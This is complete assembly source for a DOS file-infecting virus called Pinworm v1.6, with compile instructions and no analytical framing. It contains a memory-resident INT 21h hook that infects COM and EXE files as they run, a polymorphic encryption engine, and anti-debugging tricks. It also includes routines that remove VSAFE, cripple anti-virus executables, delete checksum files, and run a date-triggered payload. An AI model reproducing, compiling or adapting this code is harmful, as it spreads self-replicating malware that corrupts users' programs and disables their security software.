; **Beta Code** ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�------ ; Pi�W�RM v1.6 coded by �irogen 같같같같같같같같같같같같같같같같같 ; � Variant A 같같같같같같같같같같같같같같같같같 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�------ ; ; See enclosed NFO for more info.. ; ; version 1.5: ; � Conditional compilation equates added for creation of new variants ; � Improved polymorphic engine ; � Fixed possible bug in polymorphic engine after 50 or so generations ; version 1.6: ; � Re-Enabled Constant 1 Byte Garbage Generation ; � Changed activation routine ; ; compile like so: ; TASM /m pw16 ; Tlink pw16 ; --convert to COM-- ; cseg segment assume cs: cseg, ds: cseg, es: cseg, ss: cseg ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Compile Options 같같같같같같같같같같같� ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� SECOND_CRYPT equ 0 ; use second cryptor? INCLUDE_INT3 equ 1 ; include INT 3 in garbage code? ; (slows the loop down alot) KILL_AV equ 1 ; Kill AVs as executed? KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez? TWO_BYTE equ 1 ; Use two byte garbage code? KILL_DATE equ 13 ; day of the month to play with user MAX_EXE equ 4 ; max exe file size -high byte ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Polymorphic Engine Equates 같같같같같같 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� INC_BUF_SIZE equ 38 ; INC buf ENC_OP_BSIZE equ 38 ; ENC buf PTR_BUF_SIZE equ 38 ; PTR buf CNT_BUF_SIZE equ 38 ; CNT&OP DJ_BUF_SIZE equ 38 ; DEC&JMP GARBAGE_OPS equ 0Fh ; # of garbage ops in each group ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Misc. 같같같같같같같같같같같같같같같같� ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� enc_size equ offset first_crypt-offset encrypt enc2_size equ offset code_start-offset first_crypt signal equ 0FA01h ; AX=signal/INT 21h/installation chk vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API real_start equ offset dj_buf+3 ; starting location of encryted code cr equ 0ah org 0h start: ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Polymorphic Encryptor/Decryptor Buffer ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; encrypt: ptr_buf db PTR_BUF_SIZE dup (90h) encryptor: cnt_buf db CNT_BUF_SIZE dup(90h) enc_loop: inc_buf db INC_BUF_SIZE dup(90h) enc_op_buf db ENC_OP_BSIZE dup(90h) dj_buf db DJ_BUF_SIZE dup (90h) ret_byte db 090h ; C3h or a NOP equiv. first_crypt: ; end of first cryptor ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Second Decryptor - Anti-Debugging 같같� ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; � Uses reverse direction word XOR encryption ; � Uses the following techniques: ; � JMP into middle of operand ; � Replace word after CALL to kill stepping over call ; � Kills INT 1 vector ; � Disables Keyboard via Port 21h ; � Reverse direction encryption prevents stepping past loop ; � Uses SP as a crucial data register in some locations - if ; the debugger uses the program's stack, then it may very well ; phuck thingz up nicely. ; � Uses Soft-Ice INT 3 API to lock it up if in memory. ; sti ; fix CLI in garbage code db 0BDh ; MOV BP,XXXX bp_calc dw 0100h push ds es ; save segment registers for EXE IF SECOND_CRYPT push ds dbg1: jmp mov_si ; 1 db 0BEh ; MOV SI,XXXX mov_si: db 0BEh ; MOV SI,XXXX rel2_off dw offset heap+1000h ; org copy: ptr way out there call shit add_bp: int 19h ; fuck 'em if they skipped jmp in_op ; 1 db 0BAh ; MOV DX,XXXX in_op: in al,21h push ax or al,02 jmp kill_keyb ; 1 db 0C6h kill_keyb: out 21h,al ; keyboard=off call shit6 past_shit: jmp dbl_crypt shit7: xor ax,ax ;null es mov es,ax mov bx,word ptr es: [06] ;get INT 1 ret shit: mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister ret shit2: mov word ptr cs: dec_si[bp],4E4Eh mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother call shit3 jnc code_start ;did they skip shit3? xor dx,cx ret db 0EAh ;JMP FAR X:X shit4: db 0BAh ;MOV DX,XXXX sec_enc dw 0 mov di,4A4Dh ;prepare for Soft-ice ret shit3: mov ax,911h ;soft-ice - execute command call shit4 stc dec word ptr es: [06] ;2-kill INT 1 vector push si mov si,4647h ;soft-ice int 3 ;call SI execute - DS:DX-garbage pop si ret shit6: mov byte ptr cs: past_shit[bp],0EBh out 21h,al ; try turning keyboard off again ret dbl_crypt: ; main portion of cryptor mov cx,(offset heap-offset ret2_byte)/2+1 call shit7 dbl_loop: jmp $+3 ; 1 db 034h ; XOR ... call shit3 ; nested is the set DX xchg sp,dx ; xchg SP and DX jmp xor_op ; 1 db 0EAh ; JMP FAR X:X xor_op: xor word ptr cs: [si],sp ; the real XOR baby.. xchg sp,dx ; restore SP call shit2 dec_si: pop ss ; fuck 'em if they skipped shit2 pop sp int 3 xchg sp,bx ; SP=word of old int 1 vec dec cx mov es: [06],sp ; restore int 1 vector xchg sp,bx ; restore SP jnz dbl_loop ret2_byte db 90h,90h ENDIF ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Start of Viral Code 같같같같같같같같같� ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� code_start: IF SECOND_CRYPT pop ax es ; Get port reg bits (ES=PSP) out 21h,al ; restore keyboard ENDIF mov cs: activate[bp],0 ; reset activation toggle mov cs: mem_word[bp],0 ; reset mem. encryption inc si ; SI!=0 mov dx,vsafe_word ; remove VSAFE/VWATCH from memory mov ax,0FA01h ; & check for residency of virus too int 21h or si,si ; if SI=0 then it's us jz no_install mov ah,2ah ; get date int 21h cmp dl,KILL_DATE ; is it time to activate? jnz not_time mov cs: activate[bp],1 not_time: mov ax,es ; PSP segment - popped from DS dec ax ; mcb below PSP m0n mov ds,ax ; DS=MCB seg cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? jnz no_install sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP mov es,word ptr ds: [12h] ; get high mem seg push cs pop ds mov si,bp mov cx,(offset vend - offset start)/2+1 xor di,di rep movsw ; copy code to new seg xor ax,ax mov ds,ax ; null ds push ds lds ax,ds: [21h*4] ; get 21h vector mov es: word ptr old21+2,ds ; save S:O mov es: word ptr old21,ax pop ds mov ds: [21h*4+2],es ; new int 21h seg mov ds: [21h*4],offset new21 ; new offset call get_timer cmp dl,5 jle no_install sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem no_install: xor si,si ; null regs.. xor di,di ; some progs actually care.. xor ax,ax xor bx,bx xor dx,dx pop es ds ; restore ES DS cmp cs: exe_phile[bp],1 jz exe_return lea si,org_bytes[bp] ; com return mov di,0100h ; -restore first 4 bytes movsw movsw mov ax,100h ; jump back to 100h push ax _ret: ret exe_return: mov cx,ds ; calc. real CS add cx,10h add word ptr cs: [exe_jump+2+bp],cx int 3 ; fix prefetch cli mov sp,cs: oldsp[bp] ; restore old SP.. sti db 0eah exe_jump dd 0 oldsp dw 0 exe_phile db 0 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Infection Routine 같같같같같같같같같같� ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; DS:DX=fname ; Assumes EXE if first byte is 'M' or 'Z' ; Changes/Restores attribute and time/date ; ; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's ; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it ; unusable. ; infect_file: mov di,dx ; move filename ptr into an index reg push ds ; search for end of filename(NULL) pop es xor ax,ax mov cx,128 repnz scasb cmp word ptr [di-3],'EX' ;.eXE? jz is_exec chk_com: cmp word ptr [di-3],'MO' ;.cOM? jnz _ret is_exec: IF KILL_AV mov cs: isav,0 cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV jz anti_action cmp word ptr [di-7],'TO' ;*OT.*? F-PROT jz anti_action cmp word ptr [di-7],'NA' ;*AN.*? jnz name_ok cmp word ptr [di-9],'CS' ;*SCAN.*? jnz name_ok anti_action: inc cs: isav ; set mark for anti-virus kill name_ok: ENDIF push ds ; save fname ptr segment mov es,ax ; NULL ES (ax already 0) lds ax,es: [24h*4] ; get INT 24h vector mov old_24_off,ax ; save it mov old_24_seg,ds mov es: [24h*4+2],cs ; install our handler mov es: [24h*4],offset new_24 pop ds ; restore fname ptr segment push es push cs ; push ES for restoring INT24h later pop es ; ES=CS mov ax,4300h ; get phile attribute int 21h mov ax,4301h ; null attribs 4301h push ax cx ds dx ; save AX-call/CX-attrib/DX:DS xor cx,cx ; zero all int 21h mov bx,signal mov ax,3d02h ; open the file int 21h jc close ; if error..quit infection xchg bx,ax ; get handle push cs ; DS=CS pop ds IF KILL_CHKLIST call kill_chklst ; kill CHKLIST.MS & .CPS filez ENDIF mov ax,5700h ; get file time/date int 21h push cx dx ; save 'em for later mov ah,3fh ; Read first bytes of file mov cx,18h ; EXE header or just first bytes of COM lea dx,org_bytes ; buffer used for both int 21h call offset_end ; set ptr to end- DXAX=file_size cmp byte ptr org_bytes,'M' ; EXE? jz do_exe cmp byte ptr org_bytes,'Z' ; EXE? jz do_exe cmp byte ptr org_bytes+3,0 ; CoM infected? jz d_time dec exe_phile push ax ; save file size add ax,100h ; PSP in com mov rel_off,ax ; save it for decryptor mov bp_calc,ax call encrypt_code ; copy and encrypt code lea dx,vend ; start of newly created code mov cx,offset heap+0FFh ; virus length+xtra add cl,size_disp ; add random ^in case cl exceeds FF mov ah,40h int 21h ; append virus to infected file call offset_zero ; position ptr to beginning of file pop ax ; restore COM file size sub ax,3 ; calculate jmp offset mov word ptr new_jmp+1,ax ; save it.. lea dx,new_jmp ; write the new jmp (E9XXXX,0) mov cx,4 ; total of 4 bytes mov ah,40h int 21h d_time: pop dx cx ; pop date/time mov ax,5701h ; restore the mother fuckers int 21h close: mov ah,3eh ; close phile int 21h pop dx ds cx ax ; restore attrib int 21h dont_do: pop es ; ES=0 lds ax,dword ptr old_24_off ; restore shitty DOS error handler mov es: [24h*4],ax mov es: [24h*4+2],ds ret ; return back to INT 21h handler do_exe: cmp dx,MAX_EXE jg d_time mov exe_phile,1 IF KILL_AV cmp isav,1 ; anti-virus software? jnz not_av mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh jmp write_hdr not_av: ENDIF cmp word ptr exe_header[12h],0 ; checksum 0? jnz d_time mov cx,mem_word ; get random word inc cx ; make sure !0 mov word ptr exe_header[12h],cx ; set checksum to!0 mov cx,word ptr exe_header[10h] ; get old SP mov oldsp,cx ; save it.. mov word ptr exe_header[10h],0 ; write new SP of 0 les cx,dword ptr exe_header[14h] ; Save old entry point mov word ptr exe_jump, cx ; off mov word ptr exe_jump[2], es ; seg push cs ; ES=CS pop es push dx ax ; save file size DX:AX cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+) jz pklited cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE jge d_time pklited: mov bp, word ptr exe_header+8h ; calc. new entry point mov cl,4 ; *10h shl bp,cl ; ^by shifting one byte sub ax,bp ; get actual file size-header sbb dx,0 mov cx,10h ; divide me baby div cx mov word ptr exe_header+14h,dx ; save new entry point mov word ptr exe_header+16h,ax mov rel_off,dx ; save it for encryptor mov bp_calc,dx call encrypt_code ; encrypt & copy the code mov cx,offset heap+0FFh ; virus size+xtra add cl,size_disp ; add random ^in case cl exceeds FFh lea dx,vend ; new copy in heap mov ah,40h ; write the damn thing int 21h pop ax dx ; AX:DX file size mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below add cl,size_disp adc ax,cx mov cl,9 ; calc new alloc (512) push ax shr ax,cl ror dx,cl stc adc dx,ax pop ax and ah,1 mov word ptr exe_header+4h,dx ; save new mem. alloc info mov word ptr exe_header+2h,ax write_hdr: call offset_zero ; position ptr to beginning mov cx,18h ; write fiXed header lea dx,exe_header mov ah,40h int 21h jmp d_time ; restore shit/return ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Kills CHKLIST.CPS and CHKLIST.MS 같같같 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; kill_chklst: mov di,2 ; counter for loop lea dx,chkl1 ; first fname to kill kill_loop: mov ax,4301h ; reset attribs xor cx,cx int 21h mov ah,41h ; delete phile int 21h lea dx,chkl2 ; second fname to kill dec di jnz kill_loop ret ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Set File PTR 같같같같같같같같같같같같같 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� offset_zero: ; self explanitory xor al,al jmp set_fp offset_end: mov al,02h set_fp: mov ah,42h xor cx,cx xor dx,dx int 21h ret ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Morph, copy, & crypt 같같같같같같같같같 ; 0 bytes constant ; 0 functionally equivilant operands in constant locations ; ; Random byte defined as: ; 76543210 ; 납납납냅� 0=JNZ,1=JNS ; 납납납읕� 0=ADD&SUB, 1=XOR ; 납납냅컴� 0=BYTE CRYPTION, 1=WORD CRYPTION ; 납납읕컴� 1=INCREMENT POINTER TO 'MOV SI|DI,XXXX' OPERAND ; 납냅컴컴� 1=USE TWO BYTE GARBAGE, 0=USE ONE BYTE GARBAGE ONLY ; 납읕컴컴� 1=USE CONSTANT STREAM OF ONE BYTE GARBAGE, 0=NORMAL RANDOM ; 냅컴컴컴� not used ; 읕컴컴컴� not used ; ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� encrypt_code: push bx ; save the handle call get_timer IF SECOND_CRYPT mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor mov byte ptr sec_enc+1,dh ENDIF mov ax,0FFFFh call random mov enc_num,dl ; store ms count for encryption mov mem_word,dx ; mem cryption too mov size_disp,dl ; and size displacment ;컴컴 Fill buffer space with one-byte garbage ops lea di,encrypt mov bp,enc_size+1 test enc_num,00100000b ; use constant 1 byte operand? jnz do_constant mov bl,1 jmp fb1 do_constant: mov bl,0 fb1: call fill_buffer ;컴컴 Randomly select between jmp type : JNZ or JNS test enc_num,00000001b jnz jmp_2 mov byte ptr jnz_op,75h ; use jnz jmp jmp_set jmp_2: mov byte ptr jnz_op,79h ; jns jmp_set: ;컴컴 Select encryption type: XOR or ADD&SUB mov enc_type,04 ; default to encrypting ADD mov dec_type,2Ch ; and decrypting SUB test enc_num,00000010b jz use_add_sub mov dec_type,34h ; decrypting XOR mov enc_type,34h ; encrypting XOR use_add_sub: ;컴� Change register used for the counter cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI jnz get_reg mov byte ptr count_op,0B7h ; AX-1 mov byte ptr dec_op,47h ; AX-1 get_reg: inc byte ptr count_op ; increment to next register in line inc byte ptr dec_op ;컴컴 Select position of INC DI|SI mov ax,INC_BUF_SIZE-1 call random ; select a position in the buffer.. xchg di,dx add di,offset inc_buf mov inc_op_ptr,di ; save ptrs mov inc_op_ptr2,di ;컴컴 Toggle between SI and DI cmp byte ptr ptr_set,0BEh ; using SI? jz chg_di ; if so, then switch to DI mov byte ptr [di],46h ; write INC SI dec byte ptr ptr_set ; decrement to SI jmp done_chg_ptr chg_di: mov byte ptr [di],47h ; write INC DI inc byte ptr ptr_set ; increment to DI inc byte ptr dec_type ; increment decryptor inc byte ptr enc_type ; increment encryptor done_chg_ptr: ;컴컴 Select word or byte encryption mov w_b,80h ; default to byte cryption test enc_num,00000100b ; use word? jz use_byte mov w_b,81h ; now using word en/decryptor mov ax,di sub ax,offset inc_buf+1 call random mov ch,byte ptr [di] ; get INC DI|INC SI operand sub di,dx mov byte ptr [di],ch ; make a copy of it for word cryption mov inc_op_ptr2,di use_byte: ;컴컴 Increment counter value cmp byte ptr crypt_bytes,0Fh ; byte count quite large? jnz inc_cnt ; if not..increment away mov crypt_bytes,offset vend ; else..reset byte count inc_cnt: inc crypt_bytes ; increment byte count ;컴컴 Set DEC XX /JNS|JNZ operands mov ax,DJ_BUF_SIZE-3 call random ; select a pos. add dx,offset dj_buf mov di,dx sub dx,offset enc_loop-3 ; find loop size neg dx ; negate for negative jump mov byte ptr jnz_op+1,dl ; write jmp offset dec dl mov byte ptr loop_ofs,dl ; write loop offset mov dec_op_ptr,di lea si,dec_op movsb ; write operand(s) write_loop: movsw inc di add rel_off,di ; chg offset for decryption push di ; save offset after jmp ;컴컴 Set MOV DI,XXXX|MOV SI,XXXX mov ax,PTR_BUF_SIZE-3 call random ; select pos. xchg dx,di add di,offset ptr_buf ; build ptr mov ptr_op_ptr,di ; save ptr lea si,ptr_set movsw ; write op movsb ;컴컴 Set MOV AX|BX|DX|CX,XXXX mov ax,CNT_BUF_SIZE-3 call random ; select pos. xchg dx,di add di,offset cnt_buf ; build ptr mov count_op_ptr,di ; save ptr lea si,count_op movsw ; write op movsb ;컴컴 Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX mov ax,ENC_OP_BSIZE-5 call random ; select pos. xchg dx,di add di,offset enc_op_buf ; build ptr mov enc_op_ptr,di ; save ptr lea si,seg_op movsw ; write op movsw IF TWO_BYTE ;컴컴 Throw in some 2 byte garbage ops test enc_num,00010000b ; use two-byte garbage? jz no_2byte_grb lea di,encrypt mov bp,ptr_op_ptr push bp call fill_between pop di add di,3 ; 3bytez large mov bp,count_op_ptr push bp call fill_between ; fill between start and count reg pop di add di,3 ; 3bytez large mov bp,inc_op_ptr2 push bp call fill_between ; fill between count reg and inc ptr pop di inc di ; 1byte large mov bp,inc_op_ptr push bp call fill_between ; if another inc ptr op exist, then pop di ; .. fill in between both of them inc di ; 1byte large mov bp,enc_op_ptr push bp call fill_between ; fill between inc ptr and encryption pop di ; ..op add di,5 ; 5bytez large mov bp,dec_op_ptr call fill_between ; fill between encryption op and loop no_2byte_grb: ENDIF ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;같같같같[END OF POLYMORPHIC ENGINE]같같같같같같� ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ;컴컴 FiX second cryptor offset IF SECOND_CRYPT mov rel2_off,offset heap ;first gen has mispl. off ENDIF ;컴컴 Copy virus code along with decryptor to heap mov cx, (offset heap-offset start)/2+1 xor si,si lea di,vend ; ..to heap for encryption rep movsw ; make another copy of virus IF SECOND_CRYPT ;컴컴 Call second encryptor first mov si,offset vend ; offset of enc. start.. add si,offset heap ; ..at end of code mov ret2_byte,0C3h xor bp,bp call dbl_crypt mov ret2_byte,90h ENDIF ;컴컴 Set ptr to heap for encryption pop si ; pop offset after jmp add si,offset vend ; offset we'z bez encrypting mov di,si ; we might be using DI too ;컴컴 Encrypt the mother fucker mov ret_byte,0C3h ; put RET mov al,enc_type mov bx,enc_op_ptr mov byte ptr [bx+2],al ; set encryption type call encryptor ; encrypt the bitch pop bx ; restore phile handle ret ; return ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ; 같같같� Garbage Code Filler 같같같같같같같같같 ; DS:DI = buffer address ; BP = buffer size ; BL = 0 - Use 1 byte constant garbage op ; = 1 - Use 1 byte random garbage ops ; = 2 - Use 2 byte random garbage ops ; ; Decently random..relies on previously encrypted data and MS from clock ; to form pointer to the next operand to use.. ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ; fill_buffer: push ax mov ax,GARBAGE_OPS call random pop ax mov si,dx ; build index ptr IF TWO_BYTE cmp bl,2 ; using 1 byte, or 2 byte ops? jz word_grb ENDIF cmp bl,0 ; using constant stream of 1 byte op? jnz not_constant mov si,cons_byte not_constant: mov al,byte ptr [nops_1+si] ; get 1byte operand from table mov byte ptr [di],al ; write operand IF TWO_BYTE jmp did_1byte word_grb: cmp di,offset enc_loop-1 ; don't put 2byte op at loop begin jnz di_ok di_not_ok: mov al,byte ptr [nops_1+si] ; get 1byte op mov ah,al ; duplicate jz couldnt_do_2 di_ok: cmp di,offset encryptor-1 ; don't put 2byte op at call begin jz di_not_ok add si,si ; double pointer for word offsets mov ax,word ptr [nops_2+si] ; get garbage op couldnt_do_2: mov word ptr [di],ax ; write op inc di ; increment ptr dec bp ; decrement counter jz _fret did_1byte: ENDIF inc di ; increment buffer ptr dec bp ; decrement counter jnz fill_buffer ; loop cmp cons_byte,GARBAGE_OPS jl in_range mov cons_byte,-1 in_range: inc cons_byte _fret: ret IF TWO_BYTE ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Fill Bytes Between Two Ops /w Garb.같같 ; DS:DI=First Op ; DS:BP=Last Op ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� fill_between: sub bp,di ; get difference of offsets cmp bp,4 ; if <4 then not 'nuff room jl not_room sub bp,2 ; make sure we don't overwrite last op mov bl,2 ; use 2byte garbage ops call fill_buffer not_room: ret ENDIF ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Get sec/ms from clock 같같같같같같같같� ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� get_timer: push ax mov ah,2ch ; get clock int 21h mov ran_seed,dx pop ax ret ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Get Random Number 같같같같같같같같같같� ; AX=max number ; ret: DX=random # [will not return 0] ; ROUTINE PARTIALLY FROM: TP6.0 BOOK ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� random: push ax mov ax,ran_seed mov cx,31413 mul cx add ax,13849 mov ran_seed,ax pop cx mul cx cmp dx,0 jnz ran_ok inc dx ran_ok: ret ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ; Associated bullshit ; chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum pin_dir db 255,'PI�W�rM.�g!',0 ; DIR created root db '..',0 ; for changing to org. dir act_file db 'VIROGEN.MSG',0 act_data db ' Thank you for allowing Pinworm v1.6 to reside within your computer! You will',cr db 'be rewarded for your kindness by the gods which reign over the cyber world.',cr db 'You may thank the holy god of heart and kindness, �irogen, for bringing this',cr db 'life into the cold and dead realms of your computer.',cr,cr db '-----BEGIN PGP PUBLIC KEY BLOCK-----',cr db 'Version: 2.6',cr,cr db 'mQCNAixt9g4AAAEEANN3KDJ5NjmN1bm5cQGs352wJsQH6FBtOgnHEpZczJBXBwU1',cr db 'HiMIL0a4ST16h/flarD2Jsekk5KMz0XF0/+ZAy98Ng3AglsWT+9mXnYxlnUwMaIc',cr db '0QeCU8ECQzQSRzSznWidEKsemYLC179eOEfOqNeYR5NndCo3mVS0HwB6IcbpAAUR',cr db 'tAdWaXJvZ2Vu',cr db '=Hvsw',cr db '-----END PGP PUBLIC KEY BLOCK-----',0 activate db 0 isav db 0 new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id) ran_seed dw 0 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Polymorphic engine data 같같같같� ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� inc_op_ptr dw offset inc_buf ; ptr to location of INC enc_op_ptr dw offset enc_op_buf ; actual ENC op ptr ptr_op_ptr dw offset ptr_buf ; ptr to ptr set pos count_op_ptr dw offset cnt_buf ; ptr to counter reg pos dec_op_ptr dw offset dj_buf ; ptr to decrement counter op pos inc_op_ptr2 dw 0 seg_op db 2Eh ; CS w_b db 80h ; byte=80h word=81h dec_type db 2Ch ; SUB BYTE PTR CS:[DI|SI],XXXX enc_num db 0 enc_type db 2Ch ptr_set db 0BEh ; MOV DI|SI,XXXX rel_off dw real_start+100h count_op db 0B8h ; MOV AX|BX|CX|DX,XXXX crypt_bytes dw offset vend-offset dj_buf dec_op: dec ax ; DEC AX|BX|CX|DX jnz_op db 75h,0 ;loop_op db 0E2h ; LOOP XX loop_ofs db 0 cons_byte dw 0 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� One-byte Garbage Operands (must be 16)� ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� nops_1: nop IF INCLUDE_INT3 int 3 ELSE cld ENDIF into inc bp dec bp cld nop stc cmc clc stc into cli sti inc bp IF INCLUDE_INT3 int 3 ELSE nop ENDIF IF TWO_BYTE ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Two-byte Garbage Operands (must be 16)� ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� nops_2: db 0EBh,0 ; JMP $+2 db 74h,0 ; JZ $+2 db 75h,0 ; JNZ $+2 db 7Ch,0 ; JL $+2 db 7Fh,0 ; JG $+2 db 72h,0 ; JC $+2 or bp,bp not bp neg bp mov bp,ax mov bp,dx mov bp,si mov bp,di mov si,si mov di,di xchg cx,cx ENDIF ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; 같같같� Activation Routine 같같같같같같같같같같 ; 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; Creates directory named after Pinworm and files ; in that directory which together form a message. ; act_routine: push ax bx cx ds dx bp es cs pop ds mov activate,0 ;we're in work now.. lea dx,pin_dir ;create our subdirectory mov ah,39h int 21h mov ah,3bh ;change to our new subdirectory int 21h lea dx,act_file xor cx,cx mov ah,3ch int 21h xchg ax,bx lea dx,act_data mov cx,(offset activate-offset act_data) mov ah,40h int 21h mov ah,3eh int 21h lea dx,root ; change back to orginal dir mov ah,3bh int 21h cmp r_delay,5 ;5 calls? jl r_no ;if not then skip keyboard ror mov r_delay,-1 xor ax,ax ;es=null mov es,ax ror word ptr es: [416h],1 ;rotate keyboard flags r_no: inc r_delay ;increment calls count mov activate,1 pop es bp dx ds cx bx ax jmp no_act ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; Interrupt 24h - critical error handler ; new_24: ; critical error handler mov al,3 ; prompts suck, return fail iret ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ; In-memory encryption function ; **virus encrypted in memory up to this point** ; mem_crypt: mov cx,offset mem_crypt-offset code_start xor di,di ;offset 0 mem_loop: db 2Eh,81h,35h ;CS:XOR WORD PTR [DI], mem_word dw 0 ;XXXX inc di loop mem_loop ret ;컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 ; Interrupt 21h ; returns SI=0 and passes control to normal handler if ; VSAFE uninstall command is recieved. ; new21: pushf cmp cs: activate,1 ; time to activate? jnz no_act cmp ah,0Bh jl act_routine no_act: cmp ax,signal ; be it us? jnz not_us ; richtig.. cmp dx,vsafe_word jnz not_us xor si,si ; tis us mov di,4559h ; simulate VSAFE return not_us: cmp ah,4bh ; execute phile? jnz jmp_org go_now: push ax bp bx cx di dx ds es si call mem_crypt ; decrypt in memory call infect_file ; the mother of all calls call mem_crypt ; encrypt in memory pop si es ds dx di cx bx bp ax jmp_org: popf db 0eah ; jump far old21 dd 0 ; O:S exe_header: org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr ;컴컴 Start of heap (not written to disk) heap: db 14h dup(0) ; remaining exe header space old_24_off dw 0 ; old int24h vector old_24_seg dw 0 r_delay db 0 size_disp db 0 ; additional size of virus vend: ; end of virus in memory.. cseg ends end start